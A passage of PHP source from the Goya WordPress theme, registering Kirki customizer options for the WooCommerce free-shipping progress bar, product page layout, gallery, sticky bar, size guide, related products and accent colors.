    ', 'section' => 'shop_progress_bar', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'multicheck', 'settings' => 'progress_bar_locations', 'label' => esc_html__( 'Locations', 'goya' ), 'description' => esc_html__( 'Choose at least 1', 'goya' ), 'section' => 'shop_progress_bar', 'default' => array('minicart'), 'priority' => 10, 'multiple' => 1, 'choices' => array( 'minicart' => esc_attr__('Mini Cart', 'goya'), 'cart' => esc_attr__('Cart page', 'goya'), 'single-product' => esc_attr__('Single product', 'goya'), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_progress_bar', 'default' => '

    ' . esc_html__( 'Amount', 'goya' ) . '

    ' . esc_html__( 'This option is completely manual and not connected to Shipping methods', 'goya' ) . '

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'number', 'settings' => 'progress_bar_goal', 'label' => esc_html__( 'Goal amount', 'goya' ), 'description' => esc_html__( 'Amount to reach 100%', 'goya' ), 'section' => 'shop_progress_bar', 'default' => 0, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_progress_bar', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'progress_bar_subtotal_taxes', 'label' => esc_html__( 'Apply taxes', 'goya' ), 'description' => esc_html__( 'Calculate subtotal with taxes', 'goya' ), 'section' => 'shop_progress_bar', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_progress_bar', 'default' => '

    ' .esc_html__( 'Messages', 'goya' ).'

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'editor', 'settings' => 'progress_bar_msg', 'label' => esc_html__( 'Initial Message', 'goya' ), 'description' => esc_html__( 'Message to show before reaching the goal. Use shortcode [missing_amount] to display the amount left to reach the minimum', 'goya' ), 'section' => 'shop_progress_bar', 'priority' => 10, 'default' => 'Add [missing_amount] more to get Free Shipping!', )); Kirki::add_field( 'goya_config', array( 'type' => 'editor', 'settings' => 'progress_bar_success_msg', 'label' => esc_html__( 'Success message', 'goya' ), 'description' => esc_html__( 'Message to show after reaching 100%.', 'goya' ), 'section' => 'shop_progress_bar', 'priority' => 10, 'default' => 'You\'ve got free shipping!', )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_progress_bar', 'default' => '

    ' .esc_html__( 'Colors', 'goya' ).'

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'progress_bar_color', 'label' => esc_html__( 'Progress bar color', 'goya' ), 'transport' => 'auto', 'section' => 'shop_progress_bar', 'default' => '#b9a16b', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'progress_bar_success_color', 'label' => esc_html__( 'Progress bar success color', 'goya' ), 'label' => esc_html__( 'Color after reaching 100%', 'goya' ), 'transport' => 'auto', 'section' => 'shop_progress_bar', 'default' => '#67bb67', 'priority' => 10, )); /* Shop Mobile */ Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'shop_columns_mobile', 'label' => esc_html__( 'Columns in catalog', 'goya' ), 'section' => 'shop_mobile', 'default' => 2, 'priority' => 10, 'choices' => array ( 'min' => 1, 'max' => 2, 'step' => 1 ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_mobile', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'shop_sticky_filters', 'label' => esc_html__( 'Fix filters bar to bottom', 'goya' ), 'transport' => 'postMessage', 'section' => 'shop_mobile', 'default' => false, 'priority' => 10, 'required' => array( array( 'setting' => 'shop_filters', 'operator' => '==', 'value' => true, ), ), 'js_vars' => array( array( 'element' => '.shop-filters', 'function' => 'toggleClass', 'class' => 'sticky-filters', 'value' => true, ), ), )); /** * PRODUCT PAGE */ /* Product Page */ Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_layout', 'default' => '

    ' .esc_html__( 'Main Layout', 'goya' ).'

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-image', 'settings' => 'product_layout_single', 'label' => esc_html__( 'Product Page Layout', 'goya' ), 'description' => esc_html__( '1.Regular, 2.Showcase, 3.No Padding, 4.Full Width', 'goya' ), 'section' => 'product_layout', 'default' => 'regular', 'priority' => 10, 'choices' => array( 'regular' => get_template_directory_uri() . '/assets/img/admin/options/product-regular.png', 'showcase' => get_template_directory_uri() . '/assets/img/admin/options/product-showcase.png', 'no-padding' => get_template_directory_uri() . '/assets/img/admin/options/product-nopadding.png', 'full-width' => get_template_directory_uri() . '/assets/img/admin/options/product-fullwidth.png', ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_layout', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_transparent_header', 'label' => esc_html__( 'Transparent Header', 'goya' ), 'description' => esc_html__( 'Always transparent in Showcase mode.', 'goya' ), 'section' => 'product_layout', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'product_header_color', 'label' => esc_html__( 'Product header mode', 'goya' ), 'section' => 'product_layout', 'default' => 'dark-title', 'priority' => 10, 'choices' => array( 'dark-title' => esc_attr__('Dark Text', 'goya'), 'light-title' => esc_attr__('Light Text', 'goya'), ), 'required' => array( array( 'setting' => 'product_transparent_header', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_layout', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'product_title_position', 'label' => esc_html__( 'Title Position', 'goya' ), 'section' => 'product_layout', 'default' => 'right', 'priority' => 10, 'choices' => array( 'right' => esc_attr__('Right', 'goya'), 'top' => esc_attr__('Top', 'goya'), ), 'required' => array( array( 'setting' => 'product_layout_single', 'operator' => '!=', 'value' => 'no-padding' ) ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_layout', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'single_product_background', 'label' => esc_html__( 'Product Info Background', 'goya' ), 'section' => 'product_layout', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'single_product_background_color', 'label' => esc_html__( 'Info Background Color', 'goya' ), 'description' => esc_html__( 'This is the global value. You can change the color individually on each product', 'goya' ), 'section' => 'product_layout', 'default' => '#f8f8f8', 'priority' => 10, 'required' => array( array( 'setting' => 'single_product_background', 'operator' => '==', 'value' => true ) ), )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'product_showcase_style', 'label' => esc_html__( 'Info Text Color', 'goya' ), 'section' => 'product_layout', 'default' => 'dark-text', 'priority' => 10, 'choices' => array( 'dark-text' => esc_attr__('Dark Text', 'goya'), 'light-text' => esc_attr__('Light Text', 'goya'), ), 'required' => array( array( 'setting' => 'single_product_background', 'operator' => '==', 'value' => true ) ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_layout', 'default' => '
    ', 'priority' => 10, 'required' => array( array( 'setting' => 'product_layout_single', 'operator' => '==', 'value' => 'showcase' ) ), )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_showcase_fixed', 'label' => esc_html__( 'Fixed options/buttons', 'goya' ), 'description' => esc_html__( 'Fix cart button and options to the bottom in "Showcase" layout.', 'goya' ), 'section' => 'product_layout', 'default' => false, 'priority' => 10, 'required' => array( array( 'setting' => 'product_layout_single', 'operator' => '==', 'value' => 'showcase' ) ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_layout', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'product_variations_style', 'label' => esc_html__( 'Product variation style', 'goya' ), 'section' => 'product_layout', 'default' => 'table', 'priority' => 10, 'choices' => array( 'table' => esc_attr__('Table', 'goya'), 'vertical' => esc_attr__('Vertical', 'goya'), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_layout', 'default' => '

    ' .esc_html__( 'Product Details', 'goya' ).'

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio', 'settings' => 'product_details_style', 'label' => esc_html__( 'Product Details Mode', 'goya' ), 'description' => esc_html__( 'WooCommerce default is Tabs.', 'goya' ), 'section' => 'product_layout', 'default' => 'tabs', 'priority' => 10, 'choices' => array( 'tabs' => esc_attr__('Tabs', 'goya'), 'accordion' => esc_attr__('Accordion (next to product gallery)', 'goya'), 'vertical' => esc_attr__('Vertical', 'goya'), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_layout', 'default' => '
    ', 'priority' => 10, 'required' => array( array( 'setting' => 'product_details_style', 'operator' => '==', 'value' => 'accordion' ) ), )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_accordion_swap_description', 'label' => esc_html__( 'Swap short/full description', 'goya' ), 'description' => esc_html__( 'Add short description to the accordion and move full description below the product details. ', 'goya' ), 'section' => 'product_layout', 'default' => true, 'priority' => 10, 'required' => array( array( 'setting' => 'product_details_style', 'operator' => '==', 'value' => 'accordion' ) ) )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_accordion_scrollbars', 'label' => esc_html__( 'Accordion scrollbars', 'goya' ), 'description' => esc_html__( 'Set maximum height and make accordion sections scrollable', 'goya' ), 'section' => 'product_layout', 'default' => false, 'priority' => 10, 'required' => array( array( 'setting' => 'product_details_style', 'operator' => '==', 'value' => 'accordion' ) ) )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'product_accordion_max_height', 'label' => esc_html__( 'Scrollbar Max Height', 'goya' ), 'description' => esc_html__( 'The maximum height for accordion sections', 'goya' ), 'section' => 'product_layout', 'default' =>300, 'priority' => 10, 'choices' => array( 'min' => 50, 'max' => 500, 'step' => 5 ), 'required' => array( array( 'setting' => 'product_details_style', 'operator' => '==', 'value' => 'accordion' ), array( 'setting' => 'product_accordion_scrollbars', 'operator' => '==', 'value' => true ) ) )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_short_desc_open', 'label' => esc_html__( 'Open first section on page load', 'goya' ), 'section' => 'product_layout', 'default' => true, 'priority' => 10, 'required' => array( array( 'setting' => 'product_details_style', 'operator' => '==', 'value' => 'accordion' ) ) )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_layout', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'product_description_layout', 'label' => esc_html__( 'Description Layout', 'goya' ), 'description' => esc_html__( 'Use "Full Width" if you plan to use Page Builder for edge to edge descriptions. You can change the layout on each product too.', 'goya' ), 'section' => 'product_layout', 'default' => 'boxed', 'priority' => 10, 'choices' => array( 'boxed' => esc_attr__('Boxed', 'goya'), 'full' => esc_attr__('Full Width', 'goya'), ), )); /* Product Gallery */ Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_gallery', 'default' => '

    ' .esc_html__( 'Gallery Layout', 'goya' ).'

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-image', 'settings' => 'product_gallery_style', 'label' => esc_html__( 'Product Gallery Style', 'goya' ), 'description' => esc_html__( '1.Slider, 2. Column, 3. Grid. On mobiles it\'s always slider', 'goya' ), 'transport' => 'postMessage', 'section' => 'product_gallery', 'default' => 'carousel', 'priority' => 10, 'choices' => array( 'carousel' => get_template_directory_uri() . '/assets/img/admin/options/product-gallery-carousel.png', 'column' => get_template_directory_uri() . '/assets/img/admin/options/product-gallery-column.png', 'grid' => get_template_directory_uri() . '/assets/img/admin/options/product-gallery-grid.png', ), 'js_vars' => array( array( 'element' => '.et-product-detail', 'function' => 'toggleClass', 'class' => 'et-product-gallery-carousel', 'value' => 'carousel', ), array( 'element' => '.et-product-detail', 'function' => 'toggleClass', 'class' => 'et-product-gallery-column', 'value' => 'column', ), array( 'element' => '.et-product-detail', 'function' => 'toggleClass', 'class' => 'et-product-gallery-grid', 'value' => 'grid', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_gallery', 'default' => '
    ', 'priority' => 10, 'required' => array( array( 'setting' => 'product_layout_single', 'operator' => '!=', 'value' => 'full-width' ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'product_gallery_width', 'label' => esc_html__( 'Gallery width ratio', 'goya' ), 'description' => esc_html__( 'In a grid of 12 columns. Default 7/12', 'goya' ), 'transport' => 'auto', 'section' => 'product_gallery', 'default' => 7, 'priority' => 10, 'choices' => array( 'min' => 5, 'max' => 8, 'step' => 1 ), 'required' => array( array( 'setting' => 'product_layout_single', 'operator' => '!=', 'value' => 'full-width' ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_gallery', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'product_gallery_transition', 'label' => esc_html__( 'Gallery Image Transition', 'goya' ), 'description' => esc_html__( 'Image transition with carousel gallery and mobiles', 'goya' ), 'section' => 'product_gallery', 'default' => 'slide', 'priority' => 10, 'choices' => array( 'fade' => esc_attr__( 'Fade', 'goya' ), 'slide' => esc_attr__( 'Slide', 'goya' ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_gallery', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'product_sticky_section', 'label' => esc_html__( 'Sticky Section', 'goya' ), 'description' => esc_html__( 'SHORTER section to keep sticky. Automatically set to Summary with Grid or Column gallery', 'goya' ), 'section' => 'product_gallery', 'default' => 'summary', 'priority' => 10, 'choices' => array( 'gallery' => esc_attr__('Gallery', 'goya'), 'summary' => esc_attr__('Summary', 'goya'), 'none' => esc_attr__('Disable', 'goya'), ), 'required' => array( array( 'setting' => 'product_layout_single', 'operator' => '!=', 'value' => 'full-width' ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_gallery', 'default' => '

    ' .esc_html__( 'Thumbnails', 'goya' ).'

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio', 'settings' => 'product_thumbnails_position', 'label' => esc_html__( 'Desktop Thumbnails Position', 'goya' ), 'transport' => 'postMessage', 'section' => 'product_gallery', 'default' => 'side', 'priority' => 10, 'required' => array( array( 'setting' => 'product_gallery_style', 'operator' => '==', 'value' => 'carousel' ) ), 'choices' => array( 'side' => esc_attr__( 'Side', 'goya' ), 'bottom' => esc_attr__( 'Bottom', 'goya' ), ), 'js_vars' => array( array( 'element' => '.et-product-detail', 'function' => 'toggleClass', 'class' => 'thumbnails-vertical', 'value' => 'side', ), array( 'element' => '.et-product-detail', 'function' => 'toggleClass', 'class' => 'thumbnails-horizontal', 'value' => 'bottom', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_gallery', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_thumbnails_swap_hover', 'label' => esc_html__( 'Swap images on hover', 'goya' ), 'description' => esc_html__( 'Don\'t need to click on the thumbnails', 'goya' ), 'section' => 'product_gallery', 'default' => false, 'priority' => 10, 'required' => array( array( 'setting' => 'product_gallery_style', 'operator' => '==', 'value' => 'carousel' ) ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_gallery', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_image_lightbox', 'label' => esc_html__( 'Product Image Lightbox', 'goya' ), 'section' => 'product_gallery', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_gallery', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_image_hover_zoom', 'label' => esc_html__( 'Product Image Zoom', 'goya' ), 'section' => 'product_gallery', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_gallery', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'featured_video', 'label' => esc_html__( 'Video link position', 'goya' ), 'section' => 'product_gallery', 'default' => 'gallery', 'priority' => 10, 'choices' => array( 'gallery' => esc_attr__( 'Icon in gallery', 'goya' ), 'summary' => esc_attr__( 'Product summary', 'goya' ), ), )); /* Product Elements */ Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_single_ajax_addtocart', 'label' => esc_html__( 'Ajax Add to Cart', 'goya' ), 'description' => esc_html__( 'Enable Ajax on single product page', 'goya' ), 'section' => 'product_elements', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_elements', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'product_cart_buttons_layout', 'label' => esc_html__( 'Quantity / Add to Cart layout', 'goya' ), 'description' => esc_html__( 'Some 3rd party plugins may be incompatible with Horizontal or Mixed layout', 'goya' ), 'description' => sprintf( '%s', esc_html__( 'Some 3rd party plugins may be incompatible with Horizontal or Mixed layout', 'goya' ) ), 'section' => 'product_elements', 'default' => 'mixed', 'priority' => 10, 'choices' => array( 'stacked' => esc_attr__('Classic', 'goya'), 'horizontal' => esc_attr__('Horizontal', 'goya'), 'mixed' => esc_attr__('Mixed', 'goya'), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_elements', 'default' => '

    ' .esc_html__( 'Sticky Bar', 'goya' ).'

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_sticky_bar', 'label' => esc_html__( 'Sticky Product Bar', 'goya' ), 'description' => esc_html__( 'Show product image, name and cart button while scrolling', 'goya' ), 'section' => 'product_elements', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'product_sticky_bar_position', 'label' => esc_html__( 'Product Bar Position', 'goya' ), 'transport' => 'postMessage', 'section' => 'product_elements', 'default' => 'top', 'priority' => 10, 'choices' => array( 'top' => esc_attr__('Top', 'goya'), 'bottom' => esc_attr__('Bottom', 'goya') ), 'required' => array( array( 'setting' => 'product_sticky_bar', 'operator' => '==', 'value' => true, ), ), 'js_vars' => array( array( 'element' => 'body', 'function' => 'toggleClass', 'class' => 'fixed-product-bar-bottom', 'value' => 'bottom', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_elements', 'default' => '
    ', 'priority' => 10, 'required' => array( array( 'setting' => 'product_sticky_bar', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_sticky_bar_trigger_only', 'label' => esc_html__( 'Sticky Add to Cart - button only', 'goya' ), 'description' => esc_html__( 'A single button for variable products, no variations on the sticky bar. Useful for compatiblity with 3rd party plugins or if you have a lot of variations', 'goya' ), 'section' => 'product_elements', 'default' => false, 'priority' => 10, 'required' => array( array( 'setting' => 'product_sticky_bar', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_elements', 'default' => '
    ', 'priority' => 10, 'required' => array( array( 'setting' => 'product_sticky_bar', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_sticky_bar_mobile', 'label' => esc_html__( 'Sticky Add to Cart (mobiles)', 'goya' ), 'description' => esc_html__( 'Show add to cart button fixed at the bottom on mobiles', 'goya' ), 'section' => 'product_elements', 'default' => false, 'priority' => 10, 'required' => array( array( 'setting' => 'product_sticky_bar', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_elements', 'default' => '

    ' .esc_html__( 'Other Elements', 'goya' ).'

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_breadcrumbs', 'label' => esc_html__( 'Breadcrumbs', 'goya' ), 'section' => 'product_elements', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_elements', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_meta_sku', 'label' => esc_html__( 'SKU', 'goya' ), 'section' => 'product_elements', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_meta_categories', 'label' => esc_html__( 'Categories', 'goya' ), 'section' => 'product_elements', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_meta_tags', 'label' => esc_html__( 'Tags', 'goya' ), 'description' => esc_html__( 'Deactivate the 3 options (SKU, Categories, Tags) to completely remove the Meta section', 'goya' ), 'section' => 'product_elements', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_elements', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_share_buttons', 'label' => esc_html__( 'Share Buttons', 'goya' ), 'section' => 'product_elements', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_elements', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_reviews', 'label' => esc_html__( 'Reviews & Ratings', 'goya' ), 'section' => 'product_elements', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_elements', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'single_product_sale_flash', 'label' => esc_html__( 'Single product "Sale" badge', 'goya' ), 'section' => 'product_elements', 'default' => true, 'priority' => 10, )); /* Size Guide */ Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_size_guide', 'label' => esc_html__( 'Enable Size Guide', 'goya' ), 'description' => esc_html__( 'You can override this setting on each product', 'goya' ), 'section' => 'product_size', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_size', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'dropdown-pages', 'settings' => 'product_size_page', 'label' => esc_html__( 'Size Guide Page', 'goya' ), 'description' => esc_html__( 'Select the page containing your Size Guide.', 'goya' ), 'section' => 'product_size', 'priority' => 10, 'default' => '', 'required' => array( array( 'setting' => 'product_size_guide', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_size', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_size_variable', 'label' => esc_html__( 'Variable Products only', 'goya' ), 'description' => esc_html__( 'Show the Size Guide on variable products only', 'goya' ), 'section' => 'product_size', 'default' => true, 'priority' => 10, 'required' => array( array( 'setting' => 'product_size_guide', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_size', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'product_size_apply', 'label' => esc_html__( 'Apply to', 'goya' ), 'section' => 'product_size', 'default' => 'all', 'priority' => 10, 'choices' => array( 'all' => esc_attr__('All Categories', 'goya'), 'custom' => esc_attr__('Select Categories', 'goya'), ), 'required' => array( array( 'setting' => 'product_size_guide', 'operator' => '==', 'value' => true, ), ), )); add_action( 'init', 'add_events_categories_customizer_control', 12 ); function add_events_categories_customizer_control() { if ( ! class_exists( 'WooCommerce' ) ) { return; } Kirki::add_field( 'goya_config', array( 'type' => 'multicheck', 'settings' => 'product_size_categories', 'label' => esc_html__( 'Select Categories', 'goya' ), 'section' => 'product_size', 'default' => '', 'priority' => 11, 'multiple' => 1, 'choices' => Kirki_Helper::get_terms( array( 'taxonomy' => 'product_cat' ) ), 'required' => array( array( 'setting' => 'product_size_guide', 'operator' => '==', 'value' => true, ), array( 'setting' => 'product_size_apply', 'operator' => '==', 'value' => 'custom', ), ), )); } /* Related Products*/ Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'related_products', 'label' => esc_html__( 'Show Related Products', 'goya' ), 'section' => 'product_related', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_related', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'upsell_products', 'label' => esc_html__( 'Show Up-sell Products', 'goya' ), 'description' => esc_html__( 'When they have been defined', 'goya' ), 'section' => 'product_related', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_related', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'product_upsell_related_per_page', 'label' => esc_html__( 'Up-sell/related Products per page', 'goya' ), 'section' => 'product_related', 'default' => 4, 'priority' => 10, 'choices' => array ( 'min' => 2, 'max' => 12, 'step' => 1 ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_related', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'product_upsell_related_columns', 'label' => esc_html__( 'Up-sell/related product columns', 'goya' ), 'section' => 'product_related', 'default' => 4, 'priority' => 10, 'choices' => array ( 'min' => 2, 'max' => 6, 'step' => 1 ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'product_related', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_upsell_related_slider', 'label' => esc_html__( 'Up-sell/related as carousel', 'goya' ), 'section' => 'product_related', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio', 'settings' => 'product_thumbnails_mobile', 'label' => esc_html__( 'Product Gallery Thumbnails', 'goya' ), 'description' => esc_html__( 'Show gallery thumbnails on mobiles?', 'goya' ), 'section' => 'product_mobile', 'default' => 'dots', 'priority' => 10, 'choices' => array( 'thumbs' => esc_attr__( 'Show Thumbnails', 'goya' ), 'dots' => esc_attr__( 'Only dots', 'goya' ), ), )); /** * STYLING */ /* Global Colors */ Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'accent_color', 'label' => esc_html__( 'Accent Color', 'goya' ), 'transport' => 'auto', 'section' => 'styling', 'default' => '#b9a16b', 'priority' => 10, 'output' => array( array( 'element' => '.mfp-wrap.quick-search .mfp-content [type="submit"], .et-close, .single-product .pswp__button:hover, .content404 h4, .woocommerce-tabs .tabs li a span, .woo-variation-gallery-wrapper .woo-variation-gallery-trigger:hover:after, .mobile-menu li.menu-item-has-children.active > .et-menu-toggle:after, .remove:hover, a.remove:hover, .minicart-counter.et-count-zero, .tag-cloud-link .tag-link-count, .wpmc-tabs-wrapper li.wpmc-tab-item.current, div.argmc-wrapper .tab-completed-icon:before, .et-wp-gallery-popup .mfp-arrow', 'property' => 'color', ), array( 'element' => '.slick-dots li.slick-active button', 'property' => 'background-color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'styling', 'default' => '
